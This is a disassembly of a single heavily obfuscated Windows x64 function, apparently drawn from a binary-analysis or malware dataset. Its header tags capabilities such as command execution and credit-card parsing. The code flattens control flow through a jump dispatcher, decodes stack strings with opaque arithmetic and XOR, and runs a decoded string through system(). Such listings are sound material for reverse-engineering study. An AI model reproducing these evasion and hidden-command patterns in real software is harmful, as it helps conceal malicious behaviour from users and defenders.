Function at 0x1400d0972
Capabilities:
Authenticate hmac
Execute command
Get common file path
Hash data using murmur3
Parse credit card information
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0xaafa7b8a
pushf
not eax
add eax, 0xbeab93bb
xor eax, 0x8e306c1c
rol eax, 0xca
popf
pushf
not eax
add eax, 0x9f8201f0
xor eax, 0x99b14f79
rol eax, 0x5a
popf
cmp eax, 0x29
jne 0x1400d09af
popf
pop rax
jmp 0x1400d379c
cmp eax, 0x48
jne 0x1400d09be
popf
pop rax
jmp 0x1400d5c49
cmp eax, 0x3f
jne 0x1400d09cd
popf
pop rax
jmp 0x1400d5334
cmp eax, 1
jne 0x1400d09dc
popf
pop rax
jmp 0x1400d0fce
cmp eax, 0x4a
jne 0x1400d09eb
popf
pop rax
jmp 0x1400d5ccf
cmp eax, 0x1a
jne 0x1400d09fa
popf
pop rax
jmp 0x1400d244b
cmp eax, 0x44
jne 0x1400d0a09
popf
pop rax
jmp 0x1400d59e5
cmp eax, 0x31
jne 0x1400d0a18
popf
pop rax
jmp 0x1400d42c3
cmp eax, 0x40
jne 0x1400d0a27
popf
pop rax
jmp 0x1400d53bc
cmp eax, 8
jne 0x1400d0a36
popf
pop rax
jmp 0x1400d1a5f
cmp eax, 0x2a
jne 0x1400d0a45
popf
pop rax
jmp 0x1400d38de
cmp eax, 0x17
jne 0x1400d0a54
popf
pop rax
jmp 0x1400d21fe
cmp eax, 0x1c
jne 0x1400d0a63
popf
pop rax
jmp 0x1400d24d0
cmp eax, 0x2e
jne 0x1400d0a72
popf
pop rax
jmp 0x1400d4068
cmp eax, 0x18
jne 0x1400d0a81
popf
pop rax
jmp 0x1400d22c9
cmp eax, 0x2b
jne 0x1400d0a90
popf
pop rax
jmp 0x1400d3c5e
cmp eax, 0x1b
jne 0x1400d0a9f
popf
pop rax
jmp 0x1400d2485
cmp eax, 0x2d
jne 0x1400d0aae
popf
pop rax
jmp 0x1400d400d
cmp eax, 0x23
jne 0x1400d0abd
popf
pop rax
jmp 0x1400d3146
cmp eax, 0x25
jne 0x1400d0acc
popf
pop rax
jmp 0x1400d3413
cmp eax, 0x43
jne 0x1400d0adb
popf
pop rax
jmp 0x1400d564d
cmp eax, 0x13
jne 0x1400d0aea
popf
pop rax
jmp 0x1400d2021
cmp eax, 0x33
jne 0x1400d0af9
popf
pop rax
jmp 0x1400d4514
cmp eax, 0x24
jne 0x1400d0b08
popf
pop rax
jmp 0x1400d3383
cmp eax, 0x1e
jne 0x1400d0b17
popf
pop rax
jmp 0x1400d2877
cmp eax, 0xc
jne 0x1400d0b26
popf
pop rax
jmp 0x1400d1cef
cmp eax, 0x26
jne 0x1400d0b35
popf
pop rax
jmp 0x1400d348d
cmp eax, 0x27
jne 0x1400d0b44
popf
pop rax
jmp 0x1400d34e8
cmp eax, 0x30
jne 0x1400d0b53
popf
pop rax
jmp 0x1400d4241
cmp eax, 0x10
jne 0x1400d0b62
popf
pop rax
jmp 0x1400d1eab
cmp eax, 0x37
jne 0x1400d0b71
popf
pop rax
jmp 0x1400d492c
cmp eax, 9
jne 0x1400d0b80
popf
pop rax
jmp 0x1400d1b27
cmp eax, 0x39
jne 0x1400d0b8f
popf
pop rax
jmp 0x1400d49f5
cmp eax, 0x16
jne 0x1400d0b9e
popf
pop rax
jmp 0x1400d219d
cmp eax, 0x3b
jne 0x1400d0bad
popf
pop rax
jmp 0x1400d4e63
cmp eax, 0x4b
jne 0x1400d0bbc
popf
pop rax
jmp 0x1400d5d1b
cmp eax, 0x36
jne 0x1400d0bcb
popf
pop rax
jmp 0x1400d48b2
cmp eax, 0x14
jne 0x1400d0bda
popf
pop rax
jmp 0x1400d2091
cmp eax, 0x46
jne 0x1400d0be9
popf
pop rax
jmp 0x1400d5b34
cmp eax, 0x3d
jne 0x1400d0bf8
popf
pop rax
jmp 0x1400d51b1
cmp eax, 2
jne 0x1400d0c07
popf
pop rax
jmp 0x1400d14f7
cmp eax, 0x47
jne 0x1400d0c16
popf
pop rax
jmp 0x1400d5bfc
cmp eax, 0x41
jne 0x1400d0c25
popf
pop rax
jmp 0x1400d542a
cmp eax, 0x11
jne 0x1400d0c34
popf
pop rax
jmp 0x1400d1efe
cmp eax, 0x35
jne 0x1400d0c43
popf
pop rax
jmp 0x1400d480f
cmp eax, 0x3a
jne 0x1400d0c52
popf
pop rax
jmp 0x1400d4b37
cmp eax, 0x12
jne 0x1400d0c61
popf
pop rax
jmp 0x1400d1f47
cmp eax, 0x21
jne 0x1400d0c70
popf
pop rax
jmp 0x1400d2edf
cmp eax, 0x38
jne 0x1400d0c7f
popf
pop rax
jmp 0x1400d4961
cmp eax, 0xb
jne 0x1400d0c8e
popf
pop rax
jmp 0x1400d1c43
cmp eax, 0xf
jne 0x1400d0c9d
popf
pop rax
jmp 0x1400d1e2d
cmp eax, 0x15
jne 0x1400d0cac
popf
pop rax
jmp 0x1400d2110
cmp eax, 5
jne 0x1400d0cbb
popf
pop rax
jmp 0x1400d18a3
cmp eax, 6
jne 0x1400d0cca
popf
pop rax
jmp 0x1400d1935
cmp eax, 0x22
jne 0x1400d0cd9
popf
pop rax
jmp 0x1400d2fa4
cmp eax, 0x49
jne 0x1400d0ce8
popf
pop rax
jmp 0x1400d5c94
cmp eax, 0x1f
jne 0x1400d0cf7
popf
pop rax
jmp 0x1400d2b97
cmp eax, 4
jne 0x1400d0d06
popf
pop rax
jmp 0x1400d17e5
cmp eax, 0x2f
jne 0x1400d0d15
popf
pop rax
jmp 0x1400d4180
cmp eax, 0x28
jne 0x1400d0d24
popf
pop rax
jmp 0x1400d3569
cmp eax, 0x3e
jne 0x1400d0d33
popf
pop rax
jmp 0x1400d5232
cmp eax, 0x45
jne 0x1400d0d42
popf
pop rax
jmp 0x1400d5a8f
cmp eax, 0x2c
jne 0x1400d0d51
popf
pop rax
jmp 0x1400d3d78
cmp eax, 3
jne 0x1400d0d60
popf
pop rax
jmp 0x1400d1729
cmp eax, 0x19
jne 0x1400d0d6f
popf
pop rax
jmp 0x1400d2383
cmp eax, 0x1d
jne 0x1400d0d7e
popf
pop rax
jmp 0x1400d26a2
cmp eax, 0x34
jne 0x1400d0d8d
popf
pop rax
jmp 0x1400d459e
cmp eax, 0x32
jne 0x1400d0d9c
popf
pop rax
jmp 0x1400d44ab
cmp eax, 0xe
jne 0x1400d0dab
popf
pop rax
jmp 0x1400d1df3
cmp eax, 0x42
jne 0x1400d0dba
popf
pop rax
jmp 0x1400d54f3
cmp eax, 7
jne 0x1400d0dc9
popf
pop rax
jmp 0x1400d19b4
cmp eax, 0x20
jne 0x1400d0dd8
popf
pop rax
jmp 0x1400d2e0f
cmp eax, 0
jne 0x1400d0de7
popf
pop rax
jmp 0x1400d0e14
cmp eax, 0x3c
jne 0x1400d0df6
popf
pop rax
jmp 0x1400d4f5d
cmp eax, 0xd
jne 0x1400d0e05
popf
pop rax
jmp 0x1400d1d9b
cmp eax, 0xa
jne 0x1400d0e14
popf
pop rax
jmp 0x1400d1c33
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x350]
sub rsp, 0x450
mov rax, qword [0x140084080]
xor rax, rsp
mov qword [rbp + 0x340], rax
xor r12d, r12d
lea rdx, [rbp + 0x130]
mov ecx, 0xd0026da
pushf
not ecx
add ecx, 0xe2882b2c
xor ecx, 0xdf134925
rol ecx, 0xc7
popf
pushf
not ecx
add ecx, 0xd4670663
xor ecx, 0xda76dc96
rol ecx, 0x16
popf
pushf
not ecx
add ecx, 0x9c9de725
xor ecx, 0xf221b82d
rol ecx, 0
popf
pushf
not ecx
add ecx, 0x936a6b6d
xor ecx, 0xf78368bb
rol ecx, 0xe0
popf
jmp 0x1400d0eb0
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
movabs r14, 0x7e11e7483b4ec2d
pushf
not r14
add r14, 0x711ff877
xor r14, 0x7e4fbff1
rol r14, 0x9f
popf
pushf
not r14
add r14, 0x6975356f
xor r14, 0x634d0277
rol r14, 0xed
popf
movabs rsi, 0x9fb651d40df027c2
pushf
not rsi
add rsi, 0x45849682
xor rsi, 0x76e48553
rol rsi, 0xca
popf
pushf
not rsi
add rsi, 0x61a43ddb
xor rsi, 0x707b90f6
rol rsi, 3
popf
pushf
not rsi
add rsi, 0x5069f225
xor rsi, 0x5791eafc
rol rsi, 0xd9
popf
pushf
not rsi
add rsi, 0x543437a1
xor rsi, 0x40865392
rol rsi, 0x5d
popf
test eax, eax
jne 0x1400d0f9b
push rax
pushf
mov eax, 0x255fe1de
pushf
not eax
add eax, 0xdfd03d95
xor eax, 0xb956d579
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xd4f102ed
xor eax, 0x9ce468b1
rol eax, 0xa6
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x21412f05
pushf
not eax
add eax, 0x9b7b03d3
xor eax, 0xdab111cb
rol eax, 0x40
popf
pushf
not eax
add eax, 0x8bcf09be
xor eax, 0xeb4644b5
rol eax, 0xc0
popf
jmp 0x1400d09a0
movabs rax, 0x9241061b8d6216fa
pushf
not rax
add rax, 0x685acde3
xor rax, 0x42da5da2
rol rax, 0x18
popf
pushf
not rax
add rax, 0x4fcfb0ec
xor rax, 0x43a49976
rol rax, 0x45
popf
mov qword [rbp + 0xd0], rax
movabs rax, 0xdf65022c47eaf6df
pushf
not rax
add rax, 0x69898d3d
xor rax, 0x5c55b299
rol rax, 0xb2
popf
pushf
not rax
add rax, 0x4f803cb9
xor rax, 0x68920609
rol rax, 0x89
popf
pushf
not rax
add rax, 0x4720b9c2
xor rax, 0x70e2fd92
rol rax, 0xc
popf
pushf
not rax
add rax, 0x55f0c072
xor rax, 0x559ace74
rol rax, 0xeb
popf
mov qword [rbp + 0xd8], rax
movabs rax, 0xabc3341c07090201
pushf
not rax
add rax, 0x7ca38e55
xor rax, 0x49fedeee
rol rax, 0xec
popf
pushf
not rax
add rax, 0x48f0997a
xor rax, 0x70d57b15
rol rax, 0x4c
popf
pushf
not rax
add rax, 0x651b217d
xor rax, 0x561911b3
rol rax, 0x5b
popf
mov qword [rbp + 0xe0], rax
movabs rax, 0xaa7a8515a4fc34b6
pushf
not rax
add rax, 0x77138aa0
xor rax, 0x558767b4
rol rax, 0xe8
popf
pushf
not rax
add rax, 0x432acffd
xor rax, 0x58fd7e8d
rol rax, 0x5f
popf
pushf
not rax
add rax, 0x4cf07899
xor rax, 0x58fcde72
rol rax, 0xf
popf
pushf
not rax
add rax, 0x7ff29535
xor rax, 0x56bbc844
rol rax, 0x43
popf
mov qword [rbp + 0xe8], rax
movabs rax, 0xcdd05067f809be2a
pushf
not rax
add rax, 0x643d1f3c
xor rax, 0x721a82be
rol rax, 0x74
popf
pushf
not rax
add rax, 0x717ee86a
xor rax, 0x6eab8f4a
rol rax, 0xbd
popf
pushf
not rax
add rax, 0x62b48b14
xor rax, 0x60b10752
rol rax, 0x7c
popf
mov qword [rbp + 0xf0], rax
movabs rax, 0xb19824e36a393f82
pushf
not rax
add rax, 0x4b586458
xor rax, 0x5a69473c
rol rax, 0xbf
popf
pushf
not rax
add rax, 0x7b554904
xor rax, 0x6a93526d
rol rax, 0x6f
popf
pushf
not rax
add rax, 0x6b4435d0
xor rax, 0x77018fd7
rol rax, 0xe7
popf
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x100], r14
mov qword [rbp + 0x108], rsi
movabs rax, 0x135c2c94282f8c84
pushf
not rax
add rax, 0x75c183d8
xor rax, 0x6344150d
rol rax, 0x5b
popf
pushf
not rax
add rax, 0x41ac8389
xor rax, 0x7639bbc6
rol rax, 2
popf
pushf
not rax
add rax, 0x4191c698
xor rax, 0x7860f44a
rol rax, 0x22
popf
pushf
not rax
add rax, 0x6b663fea
xor rax, 0x6aa3df42
rol rax, 0xbb
popf
mov qword [rbp + 0x110], rax
movabs rax, 0xf087aaf90a2d759
pushf
not rax
add rax, 0x7fc3acf6
xor rax, 0x76e3351d
rol rax, 0x59
popf
pushf
not rax
add rax, 0x64770d15
xor rax, 0x61832a5f
rol rax, 0x54
popf
pushf
not rax
add rax, 0x5aac06fa
xor rax, 0x72c9d5e0
rol rax, 0xe8
popf
pushf
not rax
add rax, 0x67c0154c
xor rax, 0x709f234b
rol rax, 0x21
popf
mov qword [rbp + 0x118], rax
movabs rax, 0x9da6b84de214c945
pushf
not rax
add rax, 0x4ad39b4f
xor rax, 0x43651fc5
rol rax, 0x6b
popf
pushf
not rax
add rax, 0x76133150
xor rax, 0x62e99872
rol rax, 0xe8
popf
mov qword [rbp + 0x120], rax
movabs rax, 0x58cbab54d189c2be
pushf
not rax
add rax, 0x45e6d2ee
xor rax, 0x4e1c82d9
rol rax, 0x49
popf
pushf
not rax
add rax, 0x4f3d92fb
xor rax, 0x42c1996f
rol rax, 0x53
popf
pushf
not rax
add rax, 0x5a2af45a
xor rax, 0x61e5b261
rol rax, 0x4b
popf
pushf
not rax
add rax, 0x475fa641
xor rax, 0x5c5cba3a
rol rax, 0x1b
popf
mov qword [rbp + 0x128], rax
movdqa xmm0, xmmword [rbp + 0x100]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [rbp + 0xe0]
xorps xmm1, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0xe0], xmm1
movdqa xmm0, xmmword [rbp + 0xf0]
xorps xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0xf0], xmm0
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8eaf
mov rbx, rax
jmp 0x1400d13d9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d13e5
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x19d3ba501]
pushf
sub rdx, 0x5d3b24e1
popf
mov rcx, rax
jmp 0x1400d1401
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movabs rax, 0xb97757b541b6a327
pushf
not rax
add rax, 0x63c42789
xor rax, 0x64f1de17
rol rax, 0
popf
pushf
not rax
add rax, 0x6e4c8f86
xor rax, 0x54c214eb
rol rax, 0xd5
popf
pushf
not rax
add rax, 0x79162c97
xor rax, 0x54f084bf
rol rax, 0xcc
popf
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
jmp 0x1400d1487
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400d148e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x340]
xor rcx, rsp
call fcn.1400e1fcd
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movabs rax, 0x1e054f32d7ef9c15
pushf
not rax
add rax, 0x6e15c04d
xor rax, 0x58f656d3
rol rax, 0xde
popf
pushf
not rax
add rax, 0x47c7fd48
xor rax, 0x5508e9de
rol rax, 1
popf
mov qword [rbp + 0xa0], rax
movabs rax, 0xfe7a77bc16ec0d03
pushf
not rax
add rax, 0x79f95440
xor rax, 0x5efafcfa
rol rax, 0x80
popf
pushf
not rax
add rax, 0x605d3e56
xor rax, 0x5f9c87d4
rol rax, 0xd4
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0x4a0e246d3ad9bfc
pushf
not rax
add rax, 0x7b534a50
xor rax, 0x70cd5584
rol rax, 0xc0
popf
pushf
not rax
add rax, 0x61141fad
xor rax, 0x46b8d031
rol rax, 0xf6
popf
mov qword [rbp + 0xb0], rax
movabs r15, 0x3e4f71709c56eb9e
pushf
not r15
add r15, 0x76ac92a8
xor r15, 0x5ccc1dcc
rol r15, 0x42
popf
pushf
not r15
add r15, 0x5450c146
xor r15, 0x4d0c72d3
rol r15, 0x51
popf
pushf
not r15
add r15, 0x631de79b
xor r15, 0x7378da2d
rol r15, 9
popf
pushf
not r15
add r15, 0x4df50e74
xor r15, 0x439aa2ea
rol r15, 0x43
popf
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], rsi
movabs rax, 0xff90131dc5458cca
pushf
not rax
add rax, 0x681853e6
xor rax, 0x789594ac
rol rax, 0x70
popf
pushf
not rax
add rax, 0x541bafd4
xor rax, 0x75bc6c90
rol rax, 0x14
popf
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], r15
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0xb0], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe0], xmm1
lea rax, [rbp + 0x130]
mov rdi, 0xffffffffffffffff
mov rbx, rdi
push rax
pushf
mov eax, 0x92eb7af4
pushf
not eax
add eax, 0xe42af098
xor eax, 0xfebe2e8f
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xcead2bdc
xor eax, 0xa78f5b2a
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xa4629abf
xor eax, 0xb6238ab5
rol eax, 0x42
popf
pushf
not eax
add eax, 0xa3fd09a1
xor eax, 0xde77fe14
rol eax, 0x4d
popf
jmp 0x1400d09a0
inc rbx
cmp word [rax + rbx*2], r12w
jne 0x1400d178c
push rax
pushf
mov eax, 0xdc4e6aaa
pushf
not eax
add eax, 0xb8221a97
xor eax, 0xd5e3cbe3
rol eax, 9
popf
pushf
not eax
add eax, 0xa59d1dba
xor eax, 0x8f2ba439
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xc4f02e84
xor eax, 0xafb2fd9d
rol eax, 0x95
popf
pushf
not eax
add eax, 0xd1e4f996
xor eax, 0xa0779b81
rol eax, 0x2a
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x1ca3ead3
pushf
not eax
add eax, 0xbb22b044
xor eax, 0xb73f817f
rol eax, 0x75
popf
pushf
not eax
add eax, 0x81fddd87
xor eax, 0xb4dc6362
rol eax, 0x93
popf
pushf
not eax
add eax, 0x825a9d9a
xor eax, 0xe6fc9528
rol eax, 0xcc
popf
pushf
not eax
add eax, 0x803aa793
xor eax, 0xfa14f72a
rol eax, 0x58
popf
jmp 0x1400d09a0
movabs r13, 0x67c1cffff0fa7b8c
pushf
not r13
add r13, 0x462ce03c
xor r13, 0x55326506
rol r13, 0x57
popf
pushf
not r13
add r13, 0x6931c66c
xor r13, 0x6b8258ac
rol r13, 0x2c
popf
cmp rbx, r13
ja 0x1400d1870
push rax
pushf
mov eax, 0x92d835e
pushf
not eax
add eax, 0xd055b6b9
xor eax, 0xa3c51ca3
rol eax, 0x75
popf
pushf
not eax
add eax, 0xae8c9300
xor eax, 0xba707a11
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xa14abf72
xor eax, 0x9e85738e
rol eax, 0xe4
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x61797e9f
pushf
not eax
add eax, 0xe69ebb9c
xor eax, 0x9b921a00
rol eax, 0x39
popf
pushf
not eax
add eax, 0xdd85fbad
xor eax, 0xe5488d7a
rol eax, 0x61
popf
jmp 0x1400d09a0
cmp rbx, 7
ja 0x1400d18dc
push rax
pushf
mov eax, 0x3de3f723
pushf
not eax
add eax, 0xbb272b72
xor eax, 0xfbcb81ea
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xf70dcad3
xor eax, 0xdac81dae
rol eax, 0x46
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x53a9e3eb
pushf
not eax
add eax, 0xd1124db8
xor eax, 0xbaa75fb7
rol eax, 0xf6
popf
pushf
not eax
add eax, 0x97c97463
xor eax, 0x85448027
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xab986aa4
xor eax, 0xb0014852
rol eax, 0xda
popf
pushf
not eax
add eax, 0x89f0a282
xor eax, 0xc2b4dd4b
rol eax, 0xb6
popf
jmp 0x1400d09a0
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], 7
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xd0]
call sub.VCRUNTIME140.dll_memcpy
mov word [rbp + rbx + 0xd0], r12w
jmp 0x1400d1fe3
mov rax, rbx
or rax, 7
cmp rax, r13
jbe 0x1400d1a19
push rax
pushf
mov eax, 0x48906298
pushf
not eax
add eax, 0x9e4fe85d
xor eax, 0xa5f2dacd
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xa80ac350
xor eax, 0xdf4c3271
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xabfa2ae8
xor eax, 0xb770efc1
rol eax, 0x20
popf
pushf
not eax
add eax, 0xf798d643
xor eax, 0xe240443c
rol eax, 0xd5
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0xe19b6933
pushf
not eax
add eax, 0xe27b9e33
xor eax, 0x9e23baf5
rol eax, 0x49
popf
pushf
not eax
add eax, 0xd6b892eb
xor eax, 0xd063fe87
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xb2c1d8e6
xor eax, 0xba8f2fc6
rol eax, 0x5b
popf
jmp 0x1400d09a0
movabs rax, 0x9cf3f54a92185712
pushf
not rax
add rax, 0x45ab1c5a
xor rax, 0x71ab7872
rol rax, 0x45
popf
pushf
not rax
add rax, 0x51834f36
xor rax, 0x51e193fa
rol rax, 0x8a
popf
pushf
not rax
add rax, 0x7ff16ba2
xor rax, 0x6f039f28
rol rax, 0xe5
popf
pushf
not rax
add rax, 0x52cae3d3
xor rax, 0x5890ee64
rol rax, 0x51
popf
lea rcx, [rax + rax]
jmp 0x1400d1c43
mov r13, rax
mov ecx, 0x675e5131
pushf
not ecx
add ecx, 0xf2f62e46
xor ecx, 0xb4a7e19b
rol ecx, 0xcf
popf
pushf
not ecx
add ecx, 0xf74574b8
xor ecx, 0x87b0ece2
rol ecx, 0x9d
popf
pushf
not ecx
add ecx, 0x935b8cae
xor ecx, 0xed71e56e
rol ecx, 0x88
popf
cmp rax, rcx
cmovb r13, rcx
lea rcx, [r13 + 1]
movabs rax, 0xe8691745e8c67f0c
pushf
not rax
add rax, 0x64277b5d
xor rax, 0x5b60fc50
rol rax, 0x63
popf
pushf
not rax
add rax, 0x5cc8a9f8
xor rax, 0x5fae9bd9
rol rax, 0xe9
popf
cmp rcx, rax
ja 0x1400d1c00
push rax
pushf
mov eax, 0xa895e652
pushf
not eax
add eax, 0xbaf6059f
xor eax, 0xe23dc385
rol eax, 0x91
popf
pushf
not eax
add eax, 0xd19c3750
xor eax, 0xdc6f9b05
rol eax, 0x58
popf
pushf
not eax
add eax, 0x911c107b
xor eax, 0xfe17a8ad
rol eax, 0x6b
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0xcb0aec63
pushf
not eax
add eax, 0x9bc3b3b7
xor eax, 0xc6268660
rol eax, 0x64
popf
pushf
not eax
add eax, 0xed786537
xor eax, 0x81cc5205
rol eax, 0xcd
popf
jmp 0x1400d09a0
add rcx, rcx
cmp rcx, 0x1000
jb 0x1400d1e2d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400d1ca9
push rax
pushf
mov eax, 0xea3fe69f
pushf
not eax
add eax, 0xf91e479f
xor eax, 0x8e97f6fd
rol eax, 0xe1
popf
pushf
not eax
add eax, 0x85224cd3
xor eax, 0xe9cc4c5a
rol eax, 0xc4
popf
pushf
not eax
add eax, 0x8e15a0a1
xor eax, 0xaae3d05b
rol eax, 0xc
popf
pushf
not eax
add eax, 0xc9ac17ba
xor eax, 0xf9330686
rol eax, 0xd1
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x77793d9f
pushf
not eax
add eax, 0x9089aa9b
xor eax, 0x9ce48539
rol eax, 0x48
popf
pushf
not eax
add eax, 0xb7b846e0
xor eax, 0xc71e4609
rol eax, 0xae
popf
pushf
not eax
add eax, 0xc6d559e4
xor eax, 0x9f20986f
rol eax, 0x2b
popf
jmp 0x1400d09a0
mov rcx, rax
call fcn.14009bdd2
test rax, rax
je 0x1400d1d55
push rax
pushf
mov eax, 0x1c45bbec
pushf
not eax
add eax, 0xbe7e2f01
xor eax, 0x8ff27a56
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xb2d3c8f5
xor eax, 0xa76313f3
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xa2d1fa7c
xor eax, 0x9d0e03e7
rol eax, 0x71
popf
pushf
not eax
add eax, 0xf75e1c1b
xor eax, 0xb3209a5d
rol eax, 0x7d
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x9edad272
pushf
not eax
add eax, 0xbd73044a
xor eax, 0xc3843122
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xb0bfaa84
xor eax, 0x979fa3b3
rol eax, 0x77
popf
pushf
not eax
add eax, 0xdb67a2c5
xor eax, 0xe0905f40
rol eax, 0x35
popf
jmp 0x1400d09a0
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x1400d1f47
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400d1e65
push rax
pushf
mov eax, 0x832a9325
pushf
not eax
add eax, 0xa9f85281
xor eax, 0xd395f287
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xf1e56577
xor eax, 0xcaf6eac8
rol eax, 0xc3
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0xdb962600
pushf
not eax
add eax, 0xed2d84b3
xor eax, 0xbf8d965a
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xbb6b27e8
xor eax, 0xe35c03ca
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xda465338
xor eax, 0xaf12521c
rol eax, 0xa6
popf
jmp 0x1400d09a0
call fcn.14009bdd2
mov r15, rax
jmp 0x1400d1f47
mov r15, r12
push rax
pushf
mov eax, 0xbb3a0f93
pushf
not eax
add eax, 0xe2ee5167
xor eax, 0xc394dcb8
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xcbaeb1cd
xor eax, 0xa8871d3a
rol eax, 0x66
popf
pushf
not eax
add eax, 0xaa2fa322
xor eax, 0xb3f5f91d
rol eax, 0x38
popf
jmp 0x1400d09a0
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], r13
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x130]
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
mov word [r15 + rbx], r12w
movabs r15, 0x15944e9d372f0e21
pushf
not r15
add r15, 0x4824c73a
xor r15, 0x46627ac2
rol r15, 0xca
popf
pushf
not r15
add r15, 0x5a86355a
xor r15, 0x7e09b107
rol r15, 3
popf
pushf
not r15
add r15, 0x68ab83bf
xor r15, 0x7c11d6ce
rol r15, 1
popf
pushf
not r15
add r15, 0x683c1214
xor r15, 0x56a756bd
rol r15, 0x42
popf
lea rax, [rbp + 0xa0]
nop dword [rax]
push rax
pushf
mov eax, 0xd6f87128
pushf
not eax
add eax, 0xd9f76977
xor eax, 0xbd62858a
rol eax, 0x43
popf
pushf
not eax
add eax, 0xd2f28a85
xor eax, 0xd60e95df
rol eax, 0x39
popf
jmp 0x1400d09a0
inc rdi
cmp word [rax + rdi*2], 0
jne 0x1400d205e
push rax
pushf
mov eax, 0x17bbd323
pushf
not eax
add eax, 0xee13785e
xor eax, 0xd030e67f
rol eax, 0x52
popf
pushf
not eax
add eax, 0xc82c5ef1
xor eax, 0xbb184413
rol eax, 0x5c
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0xc811624b
pushf
not eax
add eax, 0xd716f60b
xor eax, 0x90dc0fb9
rol eax, 0x20
popf
pushf
not eax
add eax, 0x9d8845b2
xor eax, 0x9daea9a9
rol eax, 0x43
popf
jmp 0x1400d09a0
mov r13, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
sub rax, r13
cmp rdi, rax
ja 0x1400d20dd
push rax
pushf
mov eax, 0x68cb5dd1
pushf
not eax
add eax, 0x9d8b7a6d
xor eax, 0xb032a49a
rol eax, 0x59
popf
pushf
not eax
add eax, 0xd39eb7c8
xor eax, 0xd094d2ff
rol eax, 0x3d
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x4442cc4d
pushf
not eax
add eax, 0xcf7087ef
xor eax, 0x93b7983f
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xbced06ea
xor eax, 0xfffc4219
rol eax, 0x84
popf
jmp 0x1400d09a0
lea rax, [rdi + r13]
mov qword [rbp + 0xe0], rax
lea rbx, [rbp + 0xd0]
cmp rcx, 7
cmova rbx, qword [rbp + 0xd0]
